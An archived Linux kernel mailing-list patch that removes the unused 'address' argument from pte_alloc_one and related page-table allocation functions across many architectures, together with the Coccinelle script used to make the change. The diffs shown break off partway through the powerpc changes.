 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 Michal Hocko <mhocko@kernel.org>, linux-mm@kvack.org, lokeshgidra@google.com,
 "Joel Fernandes \(Google\)" <joel@joelfernandes.org>,
 linux-riscv@lists.infradead.org, anton.ivanov@kot-begemot.co.uk,
 Jonas Bonn <jonas@southpole.se>, linux-s390@vger.kernel.org, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, sparclinux@vger.kernel.org,
 linux-xtensa@linux-xtensa.org, linux-hexagon@vger.kernel.org,
 Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE 32-BIT AND 64-BIT" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, kvmarm@l
To: linux-kernel@vger.kernel.org
Original-X-From: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org Thu Nov 08 19:10:25 2018
Return-path: <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>
Envelope-to: glpr-linux-riscv@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>)
	id 1gKol7-0004wa-6a
	for glpr-linux-riscv@m.gmane.org; Thu, 08 Nov 2018 19:10:25 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:MIME-Version:References:In-Reply-To:
	Message-Id:Date:Subject:To:From:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=nhk+ZDTDKgHwZVjTXyFA5bONRP5Rvljp1CUq7rDPZYk=; b=ACd2UGv3LBu6Yd
	LLGeDvLVFuHEOL7OGFSzLTTVIj6lObQT+LMH1cGV5BmlBxc6fkkuZYSVpF37GlJyFLbC8irAqPNu4
	k9ZrndGOkaGCZLJD93faqw8ZfIU3o0F82nnFwPnipoPvHEUThHDOKM7dlUgF/eOF1BwRYFtIy4oND
	ikf+iSKzYTq0zpCAsMY40j6SJEKs/Zmy4iZg3OBxsN2ckGVOXOxUS0fLtX6mH2+THLVhDoMsDYr6F
	5pnQkxvn5heqKuON186dYiazquSOkEcxTnjFMVsE5+lZA50SiX0lG38nr9rVjAvnw1y5M1P1VEvPA
	WvPKzZWGl8AiUHuVtYfg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gKonC-0008FT-9H; Thu, 08 Nov 2018 18:12:34 +0000
Original-Received: from mail-pl1-x644.google.com ([2607:f8b0:4864:20::644])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gKon0-00086V-O5
 for linux-riscv@lists.infradead.org; Thu, 08 Nov 2018 18:12:30 +0000
Original-Received: by mail-pl1-x644.google.com with SMTP id t6-v6so9903150plo.9
 for <linux-riscv@lists.infradead.org>; Thu, 08 Nov 2018 10:12:14 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=joelfernandes.org; s=google;
 h=from:to:cc:subject:date:message-id:in-reply-to:references
 :mime-version:content-transfer-encoding;
 bh=jjp7tY9BpeOvdMXlCWQtvhxojy4de5n9pCRR4kx+REA=;
 b=rRIRRUS5DpjqstlFVI6Sii/MjPbD6MHzoGnLByqWOMxAf8fBijZBRwJVxvaG8TDRGd
 rab2+cevDYjvrVgsl1NCGM3H06at9tVcqKqWcXZ34XcTpzGvf5SEed3gjcR5gZFKpyuD
 XgKR7kUD5n6LsOiidhjRp7Z+onC5glq3HuJwQ=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
 :references:mime-version:content-transfer-encoding;
 bh=jjp7tY9BpeOvdMXlCWQtvhxojy4de5n9pCRR4kx+REA=;
 b=r/zOtTe6U0wTdm5zgbw3qNpXGJu/f9VHA40RunJ19A+3wZK0tXBebZINSXNwTWXlB2
 rQlvkGBvqXPkONXR5YBhwnDfh5PbC5+aZNzfJ+OddSFWoMwN1EYrWA+GdXT8hrQ7V5w4
 /Yb5fQnXLghYOaIajuxQaGLoH0+wOp4av3fETm7/sTe0y3kKVwDAOGBocZxDr1PesBGk
 i7veToC7exlcZA5SRFtOVZSPq3eadFonGLKOtF8K1Q6rdQ3Yuzz1WFSjTlo/0yNsVi7S
 3sfwaV6JOjGCiJ5Auu7dLK5dwNErZm7H3OD6tSSE4mdD6CRmkXPMf2PuYfa2Hft2qr91
 qHOA==
X-Gm-Message-State: AGRZ1gLpm+Ly57WRN8DvvCFKuM9W+AfkbOCB6NRj56uSR4dgrVSOMlm1
 A/n0pQjA5R7EM/birVAeFxzqCg==
X-Google-Smtp-Source: AJdET5d1J4CTER5Paa6K+QJU0GVIeLXz8HNH0RwBwA84nrQZ8c6d33gkKFMQiM+6cOPkJnvgVWL8AA==
X-Received: by 2002:a17:902:25ab:: with SMTP id
 y40-v6mr5461398pla.258.1541700733763; 
 Thu, 08 Nov 2018 10:12:13 -0800 (PST)
Original-Received: from joelaf.mtv.corp.google.com
 ([2620:0:1000:1601:3aef:314f:b9ea:889f])
 by smtp.gmail.com with ESMTPSA id 64-v6sm10028533pfa.120.2018.11.08.10.12.10
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Thu, 08 Nov 2018 10:12:12 -0800 (PST)
X-Google-Original-From: Joel Fernandes <joelaf@google.com>
X-Mailer: git-send-email 2.19.1.930.g4563a0d9d0-goog
In-Reply-To: <20181108181201.88826-1-joelaf@google.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181108_101222_829924_8112C359 
X-CRM114-Status: GOOD (  16.22  )
X-Spam-Score: -0.2 (/)
X-Spam-Report: SpamAssassin version 3.4.2 on bombadil.infradead.org summary:
 Content analysis details:   (-0.2 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/,
 no trust [2607:f8b0:4864:20:0:0:0:644 listed in]
 [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.1 DKIM_VALID_EF          Message has a valid DKIM or DK signature from
 envelope-from domain
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily
 valid
 -0.1 DKIM_VALID_AU          Message has a valid DKIM or DK signature from
 author's domain
X-BeenThere: linux-riscv@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-riscv.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-riscv/>
List-Post: <mailto:linux-riscv@lists.infradead.org>
List-Help: <mailto:linux-riscv-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-riscv" <linux-riscv-bounces@lists.infradead.org>
Errors-To: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.riscv:1452 gmane.linux.kernel:2919505 gmane.linux.ports.mips.general:67364 gmane.linux.ports.ia64:29469 gmane.linux.ports.sh.devel:57777 gmane.linux.kernel.mm:206754 gmane.linux.ports.sparc:28748 gmane.linux.ports.hexagon:2011 gmane.comp.emulators.kvm.arm.devel:19745 gmane.linux.kernel.arc:4724 gmane.linux.ports.parisc:29275 gmane.linux.ports.alpha:5424 gmane.linux.ports.ppc64.devel:165408
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.riscv/1452>

From: "Joel Fernandes (Google)" <joel@joelfernandes.org>

This series speeds up mremap(2) syscall by copying page tables at the
PMD level even for non-THP systems. There is concern that the extra
'address' argument that mremap passes to pte_alloc may do something
subtle architecture related in the future that may make the scheme not
work.  Also we find that there is no point in passing the 'address' to
pte_alloc since its unused. So this patch therefore removes this
argument tree-wide resulting in a nice negative diff as well. Also
ensuring along the way that the enabled architectures do not do anything
funky with 'address' argument that goes unnoticed by the optimization.

Build and boot tested on x86-64. Build tested on arm64.

The changes were obtained by applying the following Coccinelle script.
(thanks Julia for answering all Coccinelle questions!).
Following fix ups were done manually:
* Removal of address argument from  pte_fragment_alloc
* Removal of pte_alloc_one_fast definitions from m68k and microblaze.

// Options: --include-headers --no-includes
// Note: I split the 'identifier fn' line, so if you are manually
// running it, please unsplit it so it runs for you.

virtual patch

@pte_alloc_func_def depends on patch exists@
identifier E2;
identifier fn =~
"^(__pte_alloc|pte_alloc_one|pte_alloc|__pte_alloc_kernel|pte_alloc_one_kernel)$";
type T2;
@@

 fn(...
- , T2 E2
 )
 { ... }

@pte_alloc_func_proto_noarg depends on patch exists@
type T1, T2, T3, T4;
identifier fn =~ "^(__pte_alloc|pte_alloc_one|pte_alloc|__pte_alloc_kernel|pte_alloc_one_kernel)$";
@@

(
- T3 fn(T1, T2);
+ T3 fn(T1);
|
- T3 fn(T1, T2, T4);
+ T3 fn(T1, T2);
)

@pte_alloc_func_proto depends on patch exists@
identifier E1, E2, E4;
type T1, T2, T3, T4;
identifier fn =~
"^(__pte_alloc|pte_alloc_one|pte_alloc|__pte_alloc_kernel|pte_alloc_one_kernel)$";
@@

(
- T3 fn(T1 E1, T2 E2);
+ T3 fn(T1 E1);
|
- T3 fn(T1 E1, T2 E2, T4 E4);
+ T3 fn(T1 E1, T2 E2);
)

@pte_alloc_func_call depends on patch exists@
expression E2;
identifier fn =~
"^(__pte_alloc|pte_alloc_one|pte_alloc|__pte_alloc_kernel|pte_alloc_one_kernel)$";
@@

 fn(...
-,  E2
 )

@pte_alloc_macro depends on patch exists@
identifier fn =~
"^(__pte_alloc|pte_alloc_one|pte_alloc|__pte_alloc_kernel|pte_alloc_one_kernel)$";
identifier a, b, c;
expression e;
position p;
@@

(
- #define fn(a, b, c) e
+ #define fn(a, b) e
|
- #define fn(a, b) e
+ #define fn(a) e
)

Suggested-by: Kirill A. Shutemov <kirill@shutemov.name>
Acked-by: Kirill A. Shutemov <kirill@shutemov.name>
Cc: Michal Hocko <mhocko@kernel.org>
Cc: Julia Lawall <Julia.Lawall@lip6.fr>
Cc: Kirill A. Shutemov <kirill@shutemov.name>
Signed-off-by: Joel Fernandes (Google) <joel@joelfernandes.org>

---
 arch/alpha/include/asm/pgalloc.h             |  6 +++---
 arch/arc/include/asm/pgalloc.h               |  5 ++---
 arch/arm/include/asm/pgalloc.h               |  4 ++--
 arch/arm64/include/asm/pgalloc.h             |  4 ++--
 arch/hexagon/include/asm/pgalloc.h           |  6 ++----
 arch/ia64/include/asm/pgalloc.h              |  5 ++---
 arch/m68k/include/asm/mcf_pgalloc.h          |  8 ++------
 arch/m68k/include/asm/motorola_pgalloc.h     |  4 ++--
 arch/m68k/include/asm/sun3_pgalloc.h         |  6 ++----
 arch/microblaze/include/asm/pgalloc.h        | 19 ++-----------------
 arch/microblaze/mm/pgtable.c                 |  3 +--
 arch/mips/include/asm/pgalloc.h              |  6 ++----
 arch/nds32/include/asm/pgalloc.h             |  5 ++---
 arch/nios2/include/asm/pgalloc.h             |  6 ++----
 arch/openrisc/include/asm/pgalloc.h          |  5 ++---
 arch/openrisc/mm/ioremap.c                   |  3 +--
 arch/parisc/include/asm/pgalloc.h            |  4 ++--
 arch/powerpc/include/asm/book3s/32/pgalloc.h |  4 ++--
 arch/powerpc/include/asm/book3s/64/pgalloc.h | 12 +++++-------
 arch/powerpc/include/asm/nohash/32/pgalloc.h |  4 ++--
 arch/powerpc/include/asm/nohash/64/pgalloc.h |  6 ++----
 arch/powerpc/mm/pgtable-book3s64.c           |  2 +-
 arch/powerpc/mm/pgtable_32.c                 |  4 ++--
 arch/riscv/include/asm/pgalloc.h             |  6 ++----
 arch/s390/include/asm/pgalloc.h              |  4 ++--
 arch/sh/include/asm/pgalloc.h                |  6 ++----
 arch/sparc/include/asm/pgalloc_32.h          |  5 ++---
 arch/sparc/include/asm/pgalloc_64.h          |  6 ++----
 arch/sparc/mm/init_64.c                      |  6 ++----
 arch/sparc/mm/srmmu.c                        |  4 ++--
 arch/um/include/asm/pgalloc.h                |  4 ++--
 arch/um/kernel/mem.c                         |  4 ++--
 arch/unicore32/include/asm/pgalloc.h         |  4 ++--
 arch/x86/include/asm/pgalloc.h               |  4 ++--
 arch/x86/mm/pgtable.c                        |  4 ++--
 arch/xtensa/include/asm/pgalloc.h            |  8 +++-----
 include/linux/mm.h                           | 13 ++++++-------
 mm/huge_memory.c                             |  8 ++++----
 mm/kasan/kasan_init.c                        |  2 +-
 mm/memory.c                                  | 17 ++++++++---------
 mm/migrate.c                                 |  2 +-
 mm/mremap.c                                  |  2 +-
 mm/userfaultfd.c                             |  2 +-
 virt/kvm/arm/mmu.c                           |  2 +-
 44 files changed, 97 insertions(+), 147 deletions(-)

diff --git a/arch/alpha/include/asm/pgalloc.h b/arch/alpha/include/asm/pgalloc.h
index ab3e3a8638fb..02f9f91bb4f0 100644
--- a/arch/alpha/include/asm/pgalloc.h
+++ b/arch/alpha/include/asm/pgalloc.h
@@ -52,7 +52,7 @@ pmd_free(struct mm_struct *mm, pmd_t *pmd)
 }
 
 static inline pte_t *
-pte_alloc_one_kernel(struct mm_struct *mm, unsigned long address)
+pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte = (pte_t *)__get_free_page(GFP_KERNEL|__GFP_ZERO);
 	return pte;
@@ -65,9 +65,9 @@ pte_free_kernel(struct mm_struct *mm, pte_t *pte)
 }
 
 static inline pgtable_t
-pte_alloc_one(struct mm_struct *mm, unsigned long address)
+pte_alloc_one(struct mm_struct *mm)
 {
-	pte_t *pte = pte_alloc_one_kernel(mm, address);
+	pte_t *pte = pte_alloc_one_kernel(mm);
 	struct page *page;
 
 	if (!pte)
diff --git a/arch/arc/include/asm/pgalloc.h b/arch/arc/include/asm/pgalloc.h
index 3749234b7419..9c9b5a5ebf2e 100644
--- a/arch/arc/include/asm/pgalloc.h
+++ b/arch/arc/include/asm/pgalloc.h
@@ -90,8 +90,7 @@ static inline int __get_order_pte(void)
 	return get_order(PTRS_PER_PTE * sizeof(pte_t));
 }
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-					unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte;
 
@@ -102,7 +101,7 @@ static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
 }
 
 static inline pgtable_t
-pte_alloc_one(struct mm_struct *mm, unsigned long address)
+pte_alloc_one(struct mm_struct *mm)
 {
 	pgtable_t pte_pg;
 	struct page *page;
diff --git a/arch/arm/include/asm/pgalloc.h b/arch/arm/include/asm/pgalloc.h
index 2d7344f0e208..17ab72f0cc4e 100644
--- a/arch/arm/include/asm/pgalloc.h
+++ b/arch/arm/include/asm/pgalloc.h
@@ -81,7 +81,7 @@ static inline void clean_pte_table(pte_t *pte)
  *  +------------+
  */
 static inline pte_t *
-pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr)
+pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte;
 
@@ -93,7 +93,7 @@ pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr)
 }
 
 static inline pgtable_t
-pte_alloc_one(struct mm_struct *mm, unsigned long addr)
+pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *pte;
 
diff --git a/arch/arm64/include/asm/pgalloc.h b/arch/arm64/include/asm/pgalloc.h
index 2e05bcd944c8..52fa47c73bf0 100644
--- a/arch/arm64/include/asm/pgalloc.h
+++ b/arch/arm64/include/asm/pgalloc.h
@@ -91,13 +91,13 @@ extern pgd_t *pgd_alloc(struct mm_struct *mm);
 extern void pgd_free(struct mm_struct *mm, pgd_t *pgdp);
 
 static inline pte_t *
-pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr)
+pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	return (pte_t *)__get_free_page(PGALLOC_GFP);
 }
 
 static inline pgtable_t
-pte_alloc_one(struct mm_struct *mm, unsigned long addr)
+pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *pte;
 
diff --git a/arch/hexagon/include/asm/pgalloc.h b/arch/hexagon/include/asm/pgalloc.h
index eeebf862c46c..d36183887b60 100644
--- a/arch/hexagon/include/asm/pgalloc.h
+++ b/arch/hexagon/include/asm/pgalloc.h
@@ -59,8 +59,7 @@ static inline void pgd_free(struct mm_struct *mm, pgd_t *pgd)
 	free_page((unsigned long) pgd);
 }
 
-static inline struct page *pte_alloc_one(struct mm_struct *mm,
-					 unsigned long address)
+static inline struct page *pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *pte;
 
@@ -75,8 +74,7 @@ static inline struct page *pte_alloc_one(struct mm_struct *mm,
 }
 
 /* _kernel variant gets to use a different allocator */
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-					  unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	gfp_t flags =  GFP_KERNEL | __GFP_ZERO;
 	return (pte_t *) __get_free_page(flags);
diff --git a/arch/ia64/include/asm/pgalloc.h b/arch/ia64/include/asm/pgalloc.h
index 3ee5362f2661..c9e481023c25 100644
--- a/arch/ia64/include/asm/pgalloc.h
+++ b/arch/ia64/include/asm/pgalloc.h
@@ -83,7 +83,7 @@ pmd_populate_kernel(struct mm_struct *mm, pmd_t * pmd_entry, pte_t * pte)
 	pmd_val(*pmd_entry) = __pa(pte);
 }
 
-static inline pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long addr)
+static inline pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *page;
 	void *pg;
@@ -99,8 +99,7 @@ static inline pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long addr)
 	return page;
 }
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-					  unsigned long addr)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	return quicklist_alloc(0, GFP_KERNEL, NULL);
 }
diff --git a/arch/m68k/include/asm/mcf_pgalloc.h b/arch/m68k/include/asm/mcf_pgalloc.h
index 12fe700632f4..4399d712f6db 100644
--- a/arch/m68k/include/asm/mcf_pgalloc.h
+++ b/arch/m68k/include/asm/mcf_pgalloc.h
@@ -12,8 +12,7 @@ extern inline void pte_free_kernel(struct mm_struct *mm, pte_t *pte)
 
 extern const char bad_pmd_string[];
 
-extern inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-	unsigned long address)
+extern inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	unsigned long page = __get_free_page(GFP_DMA);
 
@@ -32,8 +31,6 @@ extern inline pmd_t *pmd_alloc_kernel(pgd_t *pgd, unsigned long address)
 #define pmd_alloc_one_fast(mm, address) ({ BUG(); ((pmd_t *)1); })
 #define pmd_alloc_one(mm, address)      ({ BUG(); ((pmd_t *)2); })
 
-#define pte_alloc_one_fast(mm, addr) pte_alloc_one(mm, addr)
-
 #define pmd_populate(mm, pmd, page) (pmd_val(*pmd) = \
 	(unsigned long)(page_address(page)))
 
@@ -50,8 +47,7 @@ static inline void __pte_free_tlb(struct mmu_gather *tlb, pgtable_t page,
 
 #define __pmd_free_tlb(tlb, pmd, address) do { } while (0)
 
-static inline struct page *pte_alloc_one(struct mm_struct *mm,
-	unsigned long address)
+static inline struct page *pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *page = alloc_pages(GFP_DMA, 0);
 	pte_t *pte;
diff --git a/arch/m68k/include/asm/motorola_pgalloc.h b/arch/m68k/include/asm/motorola_pgalloc.h
index 7859a86319cf..d04d9ba9b976 100644
--- a/arch/m68k/include/asm/motorola_pgalloc.h
+++ b/arch/m68k/include/asm/motorola_pgalloc.h
@@ -8,7 +8,7 @@
 extern pmd_t *get_pointer_table(void);
 extern int free_pointer_table(pmd_t *);
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte;
 
@@ -28,7 +28,7 @@ static inline void pte_free_kernel(struct mm_struct *mm, pte_t *pte)
 	free_page((unsigned long) pte);
 }
 
-static inline pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long address)
+static inline pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *page;
 	pte_t *pte;
diff --git a/arch/m68k/include/asm/sun3_pgalloc.h b/arch/m68k/include/asm/sun3_pgalloc.h
index 11485d38de4e..1456c5eecbd9 100644
--- a/arch/m68k/include/asm/sun3_pgalloc.h
+++ b/arch/m68k/include/asm/sun3_pgalloc.h
@@ -35,8 +35,7 @@ do {							\
 	tlb_remove_page((tlb), pte);			\
 } while (0)
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-					  unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	unsigned long page = __get_free_page(GFP_KERNEL);
 
@@ -47,8 +46,7 @@ static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
 	return (pte_t *) (page);
 }
 
-static inline pgtable_t pte_alloc_one(struct mm_struct *mm,
-					unsigned long address)
+static inline pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
         struct page *page = alloc_pages(GFP_KERNEL, 0);
 
diff --git a/arch/microblaze/include/asm/pgalloc.h b/arch/microblaze/include/asm/pgalloc.h
index 7c89390c0c13..f4cc9ffc449e 100644
--- a/arch/microblaze/include/asm/pgalloc.h
+++ b/arch/microblaze/include/asm/pgalloc.h
@@ -108,10 +108,9 @@ static inline void free_pgd_slow(pgd_t *pgd)
 #define pmd_alloc_one_fast(mm, address)	({ BUG(); ((pmd_t *)1); })
 #define pmd_alloc_one(mm, address)	({ BUG(); ((pmd_t *)2); })
 
-extern pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr);
+extern pte_t *pte_alloc_one_kernel(struct mm_struct *mm);
 
-static inline struct page *pte_alloc_one(struct mm_struct *mm,
-		unsigned long address)
+static inline struct page *pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *ptepage;
 
@@ -132,20 +131,6 @@ static inline struct page *pte_alloc_one(struct mm_struct *mm,
 	return ptepage;
 }
 
-static inline pte_t *pte_alloc_one_fast(struct mm_struct *mm,
-		unsigned long address)
-{
-	unsigned long *ret;
-
-	ret = pte_quicklist;
-	if (ret != NULL) {
-		pte_quicklist = (unsigned long *)(*ret);
-		ret[0] = 0;
-		pgtable_cache_size--;
-	}
-	return (pte_t *)ret;
-}
-
 static inline void pte_free_fast(pte_t *pte)
 {
 	*(unsigned long **)pte = pte_quicklist;
diff --git a/arch/microblaze/mm/pgtable.c b/arch/microblaze/mm/pgtable.c
index 7f525962cdfa..c2ce1e42b888 100644
--- a/arch/microblaze/mm/pgtable.c
+++ b/arch/microblaze/mm/pgtable.c
@@ -235,8 +235,7 @@ unsigned long iopa(unsigned long addr)
 	return pa;
 }
 
-__ref pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-		unsigned long address)
+__ref pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte;
 	if (mem_init_done) {
diff --git a/arch/mips/include/asm/pgalloc.h b/arch/mips/include/asm/pgalloc.h
index 39b9f311c4ef..27808d9461f4 100644
--- a/arch/mips/include/asm/pgalloc.h
+++ b/arch/mips/include/asm/pgalloc.h
@@ -50,14 +50,12 @@ static inline void pgd_free(struct mm_struct *mm, pgd_t *pgd)
 	free_pages((unsigned long)pgd, PGD_ORDER);
 }
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-	unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	return (pte_t *)__get_free_pages(GFP_KERNEL | __GFP_ZERO, PTE_ORDER);
 }
 
-static inline struct page *pte_alloc_one(struct mm_struct *mm,
-	unsigned long address)
+static inline struct page *pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *pte;
 
diff --git a/arch/nds32/include/asm/pgalloc.h b/arch/nds32/include/asm/pgalloc.h
index 27448869131a..3c5fee5b5759 100644
--- a/arch/nds32/include/asm/pgalloc.h
+++ b/arch/nds32/include/asm/pgalloc.h
@@ -22,8 +22,7 @@ extern void pgd_free(struct mm_struct *mm, pgd_t * pgd);
 
 #define check_pgt_cache()		do { } while (0)
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-					  unsigned long addr)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte;
 
@@ -34,7 +33,7 @@ static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
 	return pte;
 }
 
-static inline pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long addr)
+static inline pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	pgtable_t pte;
 
diff --git a/arch/nios2/include/asm/pgalloc.h b/arch/nios2/include/asm/pgalloc.h
index bb47d08c8ef7..3a149ead1207 100644
--- a/arch/nios2/include/asm/pgalloc.h
+++ b/arch/nios2/include/asm/pgalloc.h
@@ -37,8 +37,7 @@ static inline void pgd_free(struct mm_struct *mm, pgd_t *pgd)
 	free_pages((unsigned long)pgd, PGD_ORDER);
 }
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-	unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte;
 
@@ -47,8 +46,7 @@ static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
 	return pte;
 }
 
-static inline pgtable_t pte_alloc_one(struct mm_struct *mm,
-	unsigned long address)
+static inline pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *pte;
 
diff --git a/arch/openrisc/include/asm/pgalloc.h b/arch/openrisc/include/asm/pgalloc.h
index 8999b9226512..149c82ee4b8b 100644
--- a/arch/openrisc/include/asm/pgalloc.h
+++ b/arch/openrisc/include/asm/pgalloc.h
@@ -70,10 +70,9 @@ static inline void pgd_free(struct mm_struct *mm, pgd_t *pgd)
 	free_page((unsigned long)pgd);
 }
 
-extern pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long address);
+extern pte_t *pte_alloc_one_kernel(struct mm_struct *mm);
 
-static inline struct page *pte_alloc_one(struct mm_struct *mm,
-					 unsigned long address)
+static inline struct page *pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *pte;
 	pte = alloc_pages(GFP_KERNEL, 0);
diff --git a/arch/openrisc/mm/ioremap.c b/arch/openrisc/mm/ioremap.c
index c9697529b3f0..270d1c9bc0d6 100644
--- a/arch/openrisc/mm/ioremap.c
+++ b/arch/openrisc/mm/ioremap.c
@@ -118,8 +118,7 @@ EXPORT_SYMBOL(iounmap);
  * the memblock infrastructure.
  */
 
-pte_t __ref *pte_alloc_one_kernel(struct mm_struct *mm,
-					 unsigned long address)
+pte_t __ref *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte;
 
diff --git a/arch/parisc/include/asm/pgalloc.h b/arch/parisc/include/asm/pgalloc.h
index cf13275f7c6d..d05c678c77c4 100644
--- a/arch/parisc/include/asm/pgalloc.h
+++ b/arch/parisc/include/asm/pgalloc.h
@@ -122,7 +122,7 @@ pmd_populate_kernel(struct mm_struct *mm, pmd_t *pmd, pte_t *pte)
 #define pmd_pgtable(pmd) pmd_page(pmd)
 
 static inline pgtable_t
-pte_alloc_one(struct mm_struct *mm, unsigned long address)
+pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *page = alloc_page(GFP_KERNEL|__GFP_ZERO);
 	if (!page)
@@ -135,7 +135,7 @@ pte_alloc_one(struct mm_struct *mm, unsigned long address)
 }
 
 static inline pte_t *
-pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr)
+pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte = (pte_t *)__get_free_page(GFP_KERNEL|__GFP_ZERO);
 	return pte;
diff --git a/arch/powerpc/include/asm/book3s/32/pgalloc.h b/arch/powerpc/include/asm/book3s/32/pgalloc.h
index 82e44b1a00ae..af9e13555d95 100644
--- a/arch/powerpc/include/asm/book3s/32/pgalloc.h
+++ b/arch/powerpc/include/asm/book3s/32/pgalloc.h
@@ -82,8 +82,8 @@ static inline void pmd_populate(struct mm_struct *mm, pmd_t *pmdp,
 #define pmd_pgtable(pmd) pmd_page(pmd)
 #endif
 
-extern pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr);
-extern pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long addr);
+extern pte_t *pte_alloc_one_kernel(struct mm_struct *mm);
+extern pgtable_t pte_alloc_one(struct mm_struct *mm);
 
 static inline void pte_free_kernel(struct mm_struct *mm, pte_t *pte)
 {
